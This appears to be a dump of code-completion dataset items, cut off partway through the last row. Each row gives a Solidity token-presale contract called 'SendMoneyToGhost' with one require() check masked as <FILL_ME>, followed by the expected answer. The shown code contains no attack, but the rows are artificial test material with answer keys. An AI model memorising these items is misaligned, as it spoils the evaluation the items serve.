comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"Tokens already deposited." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./Ownable.sol";
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (
uint amountToken,
uint amountETH,
uint liquidity
);
}
contract SendMoneyToGhost is Ownable {
using SafeMath for uint256;
bool public isInit;
bool public isDeposit;
bool public isRefund;
bool public isFinish;
bool public burnTokens = true;
address public creatorWallet;
address public weth;
uint8 public tokenDecimals = 18;
uint256 public ethRaised;
uint256 public percentageRaised;
uint256 public tokensSold;
struct Pool {
uint64 startTime;
uint64 endTime;
uint256 tokenDeposit;
uint256 tokensForSale;
uint256 tokensForLiquidity;
uint8 liquidityPortion;
uint256 hardCap;
uint256 softCap;
uint256 maxBuy;
uint256 minBuy;
}
IERC20 public tokenInstance;
IUniswapV2Factory public UniswapV2Factory;
IUniswapV2Router02 public UniswapV2Router02;
Pool public pool;
mapping(address => uint256) public ethContribution;
modifier onlyActive {
}
modifier onlyInactive {
}
modifier onlyRefund {
}
constructor(
IERC20 _tokenInstance,
address _uniswapv2Router,
address _uniswapv2Factory,
address _weth
) {
}
event Liquified(
address indexed _token,
address indexed _router,
address indexed _pair
);
event Canceled(
address indexed _inititator,
address indexed _token,
address indexed _presale
);
event Bought(address indexed _buyer, uint256 _tokenAmount);
event Refunded(address indexed _refunder, uint256 _tokenAmount);
event Deposited(address indexed _initiator, uint256 _totalDeposit);
event Claimed(address indexed _participent, uint256 _tokenAmount);
event RefundedRemainder(address indexed _initiator, uint256 _amount);
event BurntRemainder(address indexed _initiator, uint256 _amount);
event Withdraw(address indexed _creator, uint256 _amount);
/*
* Reverts ethers sent to this address whenever requirements are not met
*/
receive() external payable {
}
/*
* Initiates the arguments of the sale
@dev arguments must be pa ssed in wei (amount*10**18)
*/
function initSale(
uint64 _startTime,
uint64 _endTime,
uint256 _tokenDeposit,
uint256 _tokensForSale,
uint256 _tokensForLiquidity,
uint8 _liquidityPortion,
uint256 _hardCap,
uint256 _softCap,
uint256 _maxBuy,
uint256 _minBuy
) external onlyOwner onlyInactive {
}
/*
* Once called the owner deposits tokens into pool
*/
function deposit() external onlyOwner {
require(<FILL_ME>)
require(isInit, "Not initialized yet.");
uint256 totalDeposit = _getTokenDeposit();
isDeposit = true;
require(tokenInstance.transferFrom(msg.sender, address(this), totalDeposit), "Deposit failed.");
emit Deposited(msg.sender, totalDeposit);
}
/*
* Finish the sale - Create Uniswap v2 pair, add liquidity, take fees, withrdawal funds, burn/refund unused tokens
*/
function finishSale() external onlyOwner onlyInactive {
}
/*
* The owner can decide to close the sale if it is still active
NOTE: Creator may call this function even if the Hard Cap is reached, to prevent it use:
require(ethRaised < pool.hardCap)
*/
function cancelSale() external onlyOwner onlyActive {
}
/*
* Allows participents to claim the tokens they purchased
*/
function claimTokens() external onlyInactive {
}
/*
* Refunds the Eth to participents
*/
function refund() external onlyInactive onlyRefund {
}
/*
* Withdrawal tokens on refund
*/
function withrawTokens() external onlyOwner onlyInactive onlyRefund {
}
/*
* If requirements are passed, updates user"s token balance based on their eth contribution
*/
function buyTokens(address _contributor) public payable onlyActive {
}
/*
* Internal functions, called when calculating balances
*/
function _getUserTokens(uint256 _amount) internal view returns (uint256) {
}
function _getLiquidityEth() internal view returns (uint256) {
}
function _getOwnerEth() internal view returns (uint256) {
}
function _getTokenDeposit() internal view returns (uint256){
}
function _getPercentageFromValue(uint256 currentValue, uint256 maxValue) private pure returns (uint256) {
}
function _getValueFromPercentage(uint256 currentPercentage, uint256 maxValue) private pure returns (uint256) {
}
}
| !isDeposit,"Tokens already deposited." | 87,000 | !isDeposit |
"Deposit failed." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./Ownable.sol";
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (
uint amountToken,
uint amountETH,
uint liquidity
);
}
contract SendMoneyToGhost is Ownable {
using SafeMath for uint256;
bool public isInit;
bool public isDeposit;
bool public isRefund;
bool public isFinish;
bool public burnTokens = true;
address public creatorWallet;
address public weth;
uint8 public tokenDecimals = 18;
uint256 public ethRaised;
uint256 public percentageRaised;
uint256 public tokensSold;
struct Pool {
uint64 startTime;
uint64 endTime;
uint256 tokenDeposit;
uint256 tokensForSale;
uint256 tokensForLiquidity;
uint8 liquidityPortion;
uint256 hardCap;
uint256 softCap;
uint256 maxBuy;
uint256 minBuy;
}
IERC20 public tokenInstance;
IUniswapV2Factory public UniswapV2Factory;
IUniswapV2Router02 public UniswapV2Router02;
Pool public pool;
mapping(address => uint256) public ethContribution;
modifier onlyActive {
}
modifier onlyInactive {
}
modifier onlyRefund {
}
constructor(
IERC20 _tokenInstance,
address _uniswapv2Router,
address _uniswapv2Factory,
address _weth
) {
}
event Liquified(
address indexed _token,
address indexed _router,
address indexed _pair
);
event Canceled(
address indexed _inititator,
address indexed _token,
address indexed _presale
);
event Bought(address indexed _buyer, uint256 _tokenAmount);
event Refunded(address indexed _refunder, uint256 _tokenAmount);
event Deposited(address indexed _initiator, uint256 _totalDeposit);
event Claimed(address indexed _participent, uint256 _tokenAmount);
event RefundedRemainder(address indexed _initiator, uint256 _amount);
event BurntRemainder(address indexed _initiator, uint256 _amount);
event Withdraw(address indexed _creator, uint256 _amount);
/*
* Reverts ethers sent to this address whenever requirements are not met
*/
receive() external payable {
}
/*
* Initiates the arguments of the sale
@dev arguments must be pa ssed in wei (amount*10**18)
*/
function initSale(
uint64 _startTime,
uint64 _endTime,
uint256 _tokenDeposit,
uint256 _tokensForSale,
uint256 _tokensForLiquidity,
uint8 _liquidityPortion,
uint256 _hardCap,
uint256 _softCap,
uint256 _maxBuy,
uint256 _minBuy
) external onlyOwner onlyInactive {
}
/*
* Once called the owner deposits tokens into pool
*/
function deposit() external onlyOwner {
require(!isDeposit, "Tokens already deposited.");
require(isInit, "Not initialized yet.");
uint256 totalDeposit = _getTokenDeposit();
isDeposit = true;
require(<FILL_ME>)
emit Deposited(msg.sender, totalDeposit);
}
/*
* Finish the sale - Create Uniswap v2 pair, add liquidity, take fees, withrdawal funds, burn/refund unused tokens
*/
function finishSale() external onlyOwner onlyInactive {
}
/*
* The owner can decide to close the sale if it is still active
NOTE: Creator may call this function even if the Hard Cap is reached, to prevent it use:
require(ethRaised < pool.hardCap)
*/
function cancelSale() external onlyOwner onlyActive {
}
/*
* Allows participents to claim the tokens they purchased
*/
function claimTokens() external onlyInactive {
}
/*
* Refunds the Eth to participents
*/
function refund() external onlyInactive onlyRefund {
}
/*
* Withdrawal tokens on refund
*/
function withrawTokens() external onlyOwner onlyInactive onlyRefund {
}
/*
* If requirements are passed, updates user"s token balance based on their eth contribution
*/
function buyTokens(address _contributor) public payable onlyActive {
}
/*
* Internal functions, called when calculating balances
*/
function _getUserTokens(uint256 _amount) internal view returns (uint256) {
}
function _getLiquidityEth() internal view returns (uint256) {
}
function _getOwnerEth() internal view returns (uint256) {
}
function _getTokenDeposit() internal view returns (uint256){
}
function _getPercentageFromValue(uint256 currentValue, uint256 maxValue) private pure returns (uint256) {
}
function _getValueFromPercentage(uint256 currentPercentage, uint256 maxValue) private pure returns (uint256) {
}
}
| tokenInstance.transferFrom(msg.sender,address(this),totalDeposit),"Deposit failed." | 87,000 | tokenInstance.transferFrom(msg.sender,address(this),totalDeposit) |
"Sale already launched." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./Ownable.sol";
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (
uint amountToken,
uint amountETH,
uint liquidity
);
}
contract SendMoneyToGhost is Ownable {
using SafeMath for uint256;
bool public isInit;
bool public isDeposit;
bool public isRefund;
bool public isFinish;
bool public burnTokens = true;
address public creatorWallet;
address public weth;
uint8 public tokenDecimals = 18;
uint256 public ethRaised;
uint256 public percentageRaised;
uint256 public tokensSold;
struct Pool {
uint64 startTime;
uint64 endTime;
uint256 tokenDeposit;
uint256 tokensForSale;
uint256 tokensForLiquidity;
uint8 liquidityPortion;
uint256 hardCap;
uint256 softCap;
uint256 maxBuy;
uint256 minBuy;
}
IERC20 public tokenInstance;
IUniswapV2Factory public UniswapV2Factory;
IUniswapV2Router02 public UniswapV2Router02;
Pool public pool;
mapping(address => uint256) public ethContribution;
modifier onlyActive {
}
modifier onlyInactive {
}
modifier onlyRefund {
}
constructor(
IERC20 _tokenInstance,
address _uniswapv2Router,
address _uniswapv2Factory,
address _weth
) {
}
event Liquified(
address indexed _token,
address indexed _router,
address indexed _pair
);
event Canceled(
address indexed _inititator,
address indexed _token,
address indexed _presale
);
event Bought(address indexed _buyer, uint256 _tokenAmount);
event Refunded(address indexed _refunder, uint256 _tokenAmount);
event Deposited(address indexed _initiator, uint256 _totalDeposit);
event Claimed(address indexed _participent, uint256 _tokenAmount);
event RefundedRemainder(address indexed _initiator, uint256 _amount);
event BurntRemainder(address indexed _initiator, uint256 _amount);
event Withdraw(address indexed _creator, uint256 _amount);
/*
* Reverts ethers sent to this address whenever requirements are not met
*/
receive() external payable {
}
/*
* Initiates the arguments of the sale
@dev arguments must be pa ssed in wei (amount*10**18)
*/
function initSale(
uint64 _startTime,
uint64 _endTime,
uint256 _tokenDeposit,
uint256 _tokensForSale,
uint256 _tokensForLiquidity,
uint8 _liquidityPortion,
uint256 _hardCap,
uint256 _softCap,
uint256 _maxBuy,
uint256 _minBuy
) external onlyOwner onlyInactive {
}
/*
* Once called the owner deposits tokens into pool
*/
function deposit() external onlyOwner {
}
/*
* Finish the sale - Create Uniswap v2 pair, add liquidity, take fees, withrdawal funds, burn/refund unused tokens
*/
function finishSale() external onlyOwner onlyInactive {
require(ethRaised >= pool.softCap, "Soft Cap is not met.");
require(block.timestamp > pool.startTime, "Can not finish before start");
require(<FILL_ME>)
require(!isRefund, "Refund process.");
percentageRaised = _getPercentageFromValue(ethRaised, pool.hardCap);
tokensSold = _getValueFromPercentage(percentageRaised, pool.tokensForSale);
uint256 tokensForLiquidity = _getValueFromPercentage(percentageRaised, pool.tokensForLiquidity);
isFinish = true;
//add liquidity
(uint amountToken, uint amountETH, ) = UniswapV2Router02.addLiquidityETH{value : _getLiquidityEth()}(
address(tokenInstance),
tokensForLiquidity,
tokensForLiquidity,
_getLiquidityEth(),
owner(),
block.timestamp + 600
);
require(amountToken == tokensForLiquidity && amountETH == _getLiquidityEth(), "Providing liquidity failed.");
emit Liquified(
address(tokenInstance),
address(UniswapV2Router02),
UniswapV2Factory.getPair(address(tokenInstance), weth)
);
//withrawal eth
uint256 ownerShareEth = _getOwnerEth();
if (ownerShareEth > 0) {
payable(creatorWallet).transfer(ownerShareEth);
}
//If HC is not reached, burn or refund the remainder
if (ethRaised < pool.hardCap) {
uint256 remainder = _getUserTokens(pool.hardCap - ethRaised) + (pool.tokensForLiquidity - tokensForLiquidity);
if(burnTokens == true){
require(tokenInstance.transfer(
0x000000000000000000000000000000000000dEaD,
remainder), "Unable to burn."
);
emit BurntRemainder(msg.sender, remainder);
} else {
require(tokenInstance.transfer(creatorWallet, remainder), "Refund failed.");
emit RefundedRemainder(msg.sender, remainder);
}
}
}
/*
* The owner can decide to close the sale if it is still active
NOTE: Creator may call this function even if the Hard Cap is reached, to prevent it use:
require(ethRaised < pool.hardCap)
*/
function cancelSale() external onlyOwner onlyActive {
}
/*
* Allows participents to claim the tokens they purchased
*/
function claimTokens() external onlyInactive {
}
/*
* Refunds the Eth to participents
*/
function refund() external onlyInactive onlyRefund {
}
/*
* Withdrawal tokens on refund
*/
function withrawTokens() external onlyOwner onlyInactive onlyRefund {
}
/*
* If requirements are passed, updates user"s token balance based on their eth contribution
*/
function buyTokens(address _contributor) public payable onlyActive {
}
/*
* Internal functions, called when calculating balances
*/
function _getUserTokens(uint256 _amount) internal view returns (uint256) {
}
function _getLiquidityEth() internal view returns (uint256) {
}
function _getOwnerEth() internal view returns (uint256) {
}
function _getTokenDeposit() internal view returns (uint256){
}
function _getPercentageFromValue(uint256 currentValue, uint256 maxValue) private pure returns (uint256) {
}
function _getValueFromPercentage(uint256 currentPercentage, uint256 maxValue) private pure returns (uint256) {
}
}
| !isFinish,"Sale already launched." | 87,000 | !isFinish |
"Refund process." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./Ownable.sol";
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (
uint amountToken,
uint amountETH,
uint liquidity
);
}
contract SendMoneyToGhost is Ownable {
using SafeMath for uint256;
bool public isInit;
bool public isDeposit;
bool public isRefund;
bool public isFinish;
bool public burnTokens = true;
address public creatorWallet;
address public weth;
uint8 public tokenDecimals = 18;
uint256 public ethRaised;
uint256 public percentageRaised;
uint256 public tokensSold;
struct Pool {
uint64 startTime;
uint64 endTime;
uint256 tokenDeposit;
uint256 tokensForSale;
uint256 tokensForLiquidity;
uint8 liquidityPortion;
uint256 hardCap;
uint256 softCap;
uint256 maxBuy;
uint256 minBuy;
}
IERC20 public tokenInstance;
IUniswapV2Factory public UniswapV2Factory;
IUniswapV2Router02 public UniswapV2Router02;
Pool public pool;
mapping(address => uint256) public ethContribution;
modifier onlyActive {
}
modifier onlyInactive {
}
modifier onlyRefund {
}
constructor(
IERC20 _tokenInstance,
address _uniswapv2Router,
address _uniswapv2Factory,
address _weth
) {
}
event Liquified(
address indexed _token,
address indexed _router,
address indexed _pair
);
event Canceled(
address indexed _inititator,
address indexed _token,
address indexed _presale
);
event Bought(address indexed _buyer, uint256 _tokenAmount);
event Refunded(address indexed _refunder, uint256 _tokenAmount);
event Deposited(address indexed _initiator, uint256 _totalDeposit);
event Claimed(address indexed _participent, uint256 _tokenAmount);
event RefundedRemainder(address indexed _initiator, uint256 _amount);
event BurntRemainder(address indexed _initiator, uint256 _amount);
event Withdraw(address indexed _creator, uint256 _amount);
/*
* Reverts ethers sent to this address whenever requirements are not met
*/
receive() external payable {
}
/*
* Initiates the arguments of the sale
@dev arguments must be pa ssed in wei (amount*10**18)
*/
function initSale(
uint64 _startTime,
uint64 _endTime,
uint256 _tokenDeposit,
uint256 _tokensForSale,
uint256 _tokensForLiquidity,
uint8 _liquidityPortion,
uint256 _hardCap,
uint256 _softCap,
uint256 _maxBuy,
uint256 _minBuy
) external onlyOwner onlyInactive {
}
/*
* Once called the owner deposits tokens into pool
*/
function deposit() external onlyOwner {
}
/*
* Finish the sale - Create Uniswap v2 pair, add liquidity, take fees, withrdawal funds, burn/refund unused tokens
*/
function finishSale() external onlyOwner onlyInactive {
require(ethRaised >= pool.softCap, "Soft Cap is not met.");
require(block.timestamp > pool.startTime, "Can not finish before start");
require(!isFinish, "Sale already launched.");
require(<FILL_ME>)
percentageRaised = _getPercentageFromValue(ethRaised, pool.hardCap);
tokensSold = _getValueFromPercentage(percentageRaised, pool.tokensForSale);
uint256 tokensForLiquidity = _getValueFromPercentage(percentageRaised, pool.tokensForLiquidity);
isFinish = true;
//add liquidity
(uint amountToken, uint amountETH, ) = UniswapV2Router02.addLiquidityETH{value : _getLiquidityEth()}(
address(tokenInstance),
tokensForLiquidity,
tokensForLiquidity,
_getLiquidityEth(),
owner(),
block.timestamp + 600
);
require(amountToken == tokensForLiquidity && amountETH == _getLiquidityEth(), "Providing liquidity failed.");
emit Liquified(
address(tokenInstance),
address(UniswapV2Router02),
UniswapV2Factory.getPair(address(tokenInstance), weth)
);
//withrawal eth
uint256 ownerShareEth = _getOwnerEth();
if (ownerShareEth > 0) {
payable(creatorWallet).transfer(ownerShareEth);
}
//If HC is not reached, burn or refund the remainder
if (ethRaised < pool.hardCap) {
uint256 remainder = _getUserTokens(pool.hardCap - ethRaised) + (pool.tokensForLiquidity - tokensForLiquidity);
if(burnTokens == true){
require(tokenInstance.transfer(
0x000000000000000000000000000000000000dEaD,
remainder), "Unable to burn."
);
emit BurntRemainder(msg.sender, remainder);
} else {
require(tokenInstance.transfer(creatorWallet, remainder), "Refund failed.");
emit RefundedRemainder(msg.sender, remainder);
}
}
}
/*
* The owner can decide to close the sale if it is still active
NOTE: Creator may call this function even if the Hard Cap is reached, to prevent it use:
require(ethRaised < pool.hardCap)
*/
function cancelSale() external onlyOwner onlyActive {
}
/*
* Allows participents to claim the tokens they purchased
*/
function claimTokens() external onlyInactive {
}
/*
* Refunds the Eth to participents
*/
function refund() external onlyInactive onlyRefund {
}
/*
* Withdrawal tokens on refund
*/
function withrawTokens() external onlyOwner onlyInactive onlyRefund {
}
/*
* If requirements are passed, updates user"s token balance based on their eth contribution
*/
function buyTokens(address _contributor) public payable onlyActive {
}
/*
* Internal functions, called when calculating balances
*/
function _getUserTokens(uint256 _amount) internal view returns (uint256) {
}
function _getLiquidityEth() internal view returns (uint256) {
}
function _getOwnerEth() internal view returns (uint256) {
}
function _getTokenDeposit() internal view returns (uint256){
}
function _getPercentageFromValue(uint256 currentValue, uint256 maxValue) private pure returns (uint256) {
}
function _getValueFromPercentage(uint256 currentPercentage, uint256 maxValue) private pure returns (uint256) {
}
}
| !isRefund,"Refund process." | 87,000 | !isRefund |
"Unable to burn." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./Ownable.sol";
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (
uint amountToken,
uint amountETH,
uint liquidity
);
}
contract SendMoneyToGhost is Ownable {
using SafeMath for uint256;
bool public isInit;
bool public isDeposit;
bool public isRefund;
bool public isFinish;
bool public burnTokens = true;
address public creatorWallet;
address public weth;
uint8 public tokenDecimals = 18;
uint256 public ethRaised;
uint256 public percentageRaised;
uint256 public tokensSold;
struct Pool {
uint64 startTime;
uint64 endTime;
uint256 tokenDeposit;
uint256 tokensForSale;
uint256 tokensForLiquidity;
uint8 liquidityPortion;
uint256 hardCap;
uint256 softCap;
uint256 maxBuy;
uint256 minBuy;
}
IERC20 public tokenInstance;
IUniswapV2Factory public UniswapV2Factory;
IUniswapV2Router02 public UniswapV2Router02;
Pool public pool;
mapping(address => uint256) public ethContribution;
modifier onlyActive {
}
modifier onlyInactive {
}
modifier onlyRefund {
}
constructor(
IERC20 _tokenInstance,
address _uniswapv2Router,
address _uniswapv2Factory,
address _weth
) {
}
event Liquified(
address indexed _token,
address indexed _router,
address indexed _pair
);
event Canceled(
address indexed _inititator,
address indexed _token,
address indexed _presale
);
event Bought(address indexed _buyer, uint256 _tokenAmount);
event Refunded(address indexed _refunder, uint256 _tokenAmount);
event Deposited(address indexed _initiator, uint256 _totalDeposit);
event Claimed(address indexed _participent, uint256 _tokenAmount);
event RefundedRemainder(address indexed _initiator, uint256 _amount);
event BurntRemainder(address indexed _initiator, uint256 _amount);
event Withdraw(address indexed _creator, uint256 _amount);
/*
* Reverts ethers sent to this address whenever requirements are not met
*/
receive() external payable {
}
/*
* Initiates the arguments of the sale
@dev arguments must be pa ssed in wei (amount*10**18)
*/
function initSale(
uint64 _startTime,
uint64 _endTime,
uint256 _tokenDeposit,
uint256 _tokensForSale,
uint256 _tokensForLiquidity,
uint8 _liquidityPortion,
uint256 _hardCap,
uint256 _softCap,
uint256 _maxBuy,
uint256 _minBuy
) external onlyOwner onlyInactive {
}
/*
* Once called the owner deposits tokens into pool
*/
function deposit() external onlyOwner {
}
/*
* Finish the sale - Create Uniswap v2 pair, add liquidity, take fees, withrdawal funds, burn/refund unused tokens
*/
function finishSale() external onlyOwner onlyInactive {
require(ethRaised >= pool.softCap, "Soft Cap is not met.");
require(block.timestamp > pool.startTime, "Can not finish before start");
require(!isFinish, "Sale already launched.");
require(!isRefund, "Refund process.");
percentageRaised = _getPercentageFromValue(ethRaised, pool.hardCap);
tokensSold = _getValueFromPercentage(percentageRaised, pool.tokensForSale);
uint256 tokensForLiquidity = _getValueFromPercentage(percentageRaised, pool.tokensForLiquidity);
isFinish = true;
//add liquidity
(uint amountToken, uint amountETH, ) = UniswapV2Router02.addLiquidityETH{value : _getLiquidityEth()}(
address(tokenInstance),
tokensForLiquidity,
tokensForLiquidity,
_getLiquidityEth(),
owner(),
block.timestamp + 600
);
require(amountToken == tokensForLiquidity && amountETH == _getLiquidityEth(), "Providing liquidity failed.");
emit Liquified(
address(tokenInstance),
address(UniswapV2Router02),
UniswapV2Factory.getPair(address(tokenInstance), weth)
);
//withrawal eth
uint256 ownerShareEth = _getOwnerEth();
if (ownerShareEth > 0) {
payable(creatorWallet).transfer(ownerShareEth);
}
//If HC is not reached, burn or refund the remainder
if (ethRaised < pool.hardCap) {
uint256 remainder = _getUserTokens(pool.hardCap - ethRaised) + (pool.tokensForLiquidity - tokensForLiquidity);
if(burnTokens == true){
require(<FILL_ME>)
emit BurntRemainder(msg.sender, remainder);
} else {
require(tokenInstance.transfer(creatorWallet, remainder), "Refund failed.");
emit RefundedRemainder(msg.sender, remainder);
}
}
}
/*
* The owner can decide to close the sale if it is still active
NOTE: Creator may call this function even if the Hard Cap is reached, to prevent it use:
require(ethRaised < pool.hardCap)
*/
function cancelSale() external onlyOwner onlyActive {
}
/*
* Allows participents to claim the tokens they purchased
*/
function claimTokens() external onlyInactive {
}
/*
* Refunds the Eth to participents
*/
function refund() external onlyInactive onlyRefund {
}
/*
* Withdrawal tokens on refund
*/
function withrawTokens() external onlyOwner onlyInactive onlyRefund {
}
/*
* If requirements are passed, updates user"s token balance based on their eth contribution
*/
function buyTokens(address _contributor) public payable onlyActive {
}
/*
* Internal functions, called when calculating balances
*/
function _getUserTokens(uint256 _amount) internal view returns (uint256) {
}
function _getLiquidityEth() internal view returns (uint256) {
}
function _getOwnerEth() internal view returns (uint256) {
}
function _getTokenDeposit() internal view returns (uint256){
}
function _getPercentageFromValue(uint256 currentValue, uint256 maxValue) private pure returns (uint256) {
}
function _getValueFromPercentage(uint256 currentPercentage, uint256 maxValue) private pure returns (uint256) {
}
}
| tokenInstance.transfer(0x000000000000000000000000000000000000dEaD,remainder),"Unable to burn." | 87,000 | tokenInstance.transfer(0x000000000000000000000000000000000000dEaD,remainder) |
"Refund failed." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./Ownable.sol";
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (
uint amountToken,
uint amountETH,
uint liquidity
);
}
contract SendMoneyToGhost is Ownable {
using SafeMath for uint256;
bool public isInit;
bool public isDeposit;
bool public isRefund;
bool public isFinish;
bool public burnTokens = true;
address public creatorWallet;
address public weth;
uint8 public tokenDecimals = 18;
uint256 public ethRaised;
uint256 public percentageRaised;
uint256 public tokensSold;
struct Pool {
uint64 startTime;
uint64 endTime;
uint256 tokenDeposit;
uint256 tokensForSale;
uint256 tokensForLiquidity;
uint8 liquidityPortion;
uint256 hardCap;
uint256 softCap;
uint256 maxBuy;
uint256 minBuy;
}
IERC20 public tokenInstance;
IUniswapV2Factory public UniswapV2Factory;
IUniswapV2Router02 public UniswapV2Router02;
Pool public pool;
mapping(address => uint256) public ethContribution;
modifier onlyActive {
}
modifier onlyInactive {
}
modifier onlyRefund {
}
constructor(
IERC20 _tokenInstance,
address _uniswapv2Router,
address _uniswapv2Factory,
address _weth
) {
}
event Liquified(
address indexed _token,
address indexed _router,
address indexed _pair
);
event Canceled(
address indexed _inititator,
address indexed _token,
address indexed _presale
);
event Bought(address indexed _buyer, uint256 _tokenAmount);
event Refunded(address indexed _refunder, uint256 _tokenAmount);
event Deposited(address indexed _initiator, uint256 _totalDeposit);
event Claimed(address indexed _participent, uint256 _tokenAmount);
event RefundedRemainder(address indexed _initiator, uint256 _amount);
event BurntRemainder(address indexed _initiator, uint256 _amount);
event Withdraw(address indexed _creator, uint256 _amount);
/*
* Reverts ethers sent to this address whenever requirements are not met
*/
receive() external payable {
}
/*
* Initiates the arguments of the sale
@dev arguments must be pa ssed in wei (amount*10**18)
*/
function initSale(
uint64 _startTime,
uint64 _endTime,
uint256 _tokenDeposit,
uint256 _tokensForSale,
uint256 _tokensForLiquidity,
uint8 _liquidityPortion,
uint256 _hardCap,
uint256 _softCap,
uint256 _maxBuy,
uint256 _minBuy
) external onlyOwner onlyInactive {
}
/*
* Once called the owner deposits tokens into pool
*/
function deposit() external onlyOwner {
}
/*
* Finish the sale - Create Uniswap v2 pair, add liquidity, take fees, withrdawal funds, burn/refund unused tokens
*/
function finishSale() external onlyOwner onlyInactive {
require(ethRaised >= pool.softCap, "Soft Cap is not met.");
require(block.timestamp > pool.startTime, "Can not finish before start");
require(!isFinish, "Sale already launched.");
require(!isRefund, "Refund process.");
percentageRaised = _getPercentageFromValue(ethRaised, pool.hardCap);
tokensSold = _getValueFromPercentage(percentageRaised, pool.tokensForSale);
uint256 tokensForLiquidity = _getValueFromPercentage(percentageRaised, pool.tokensForLiquidity);
isFinish = true;
//add liquidity
(uint amountToken, uint amountETH, ) = UniswapV2Router02.addLiquidityETH{value : _getLiquidityEth()}(
address(tokenInstance),
tokensForLiquidity,
tokensForLiquidity,
_getLiquidityEth(),
owner(),
block.timestamp + 600
);
require(amountToken == tokensForLiquidity && amountETH == _getLiquidityEth(), "Providing liquidity failed.");
emit Liquified(
address(tokenInstance),
address(UniswapV2Router02),
UniswapV2Factory.getPair(address(tokenInstance), weth)
);
//withrawal eth
uint256 ownerShareEth = _getOwnerEth();
if (ownerShareEth > 0) {
payable(creatorWallet).transfer(ownerShareEth);
}
//If HC is not reached, burn or refund the remainder
if (ethRaised < pool.hardCap) {
uint256 remainder = _getUserTokens(pool.hardCap - ethRaised) + (pool.tokensForLiquidity - tokensForLiquidity);
if(burnTokens == true){
require(tokenInstance.transfer(
0x000000000000000000000000000000000000dEaD,
remainder), "Unable to burn."
);
emit BurntRemainder(msg.sender, remainder);
} else {
require(<FILL_ME>)
emit RefundedRemainder(msg.sender, remainder);
}
}
}
/*
* The owner can decide to close the sale if it is still active
NOTE: Creator may call this function even if the Hard Cap is reached, to prevent it use:
require(ethRaised < pool.hardCap)
*/
function cancelSale() external onlyOwner onlyActive {
}
/*
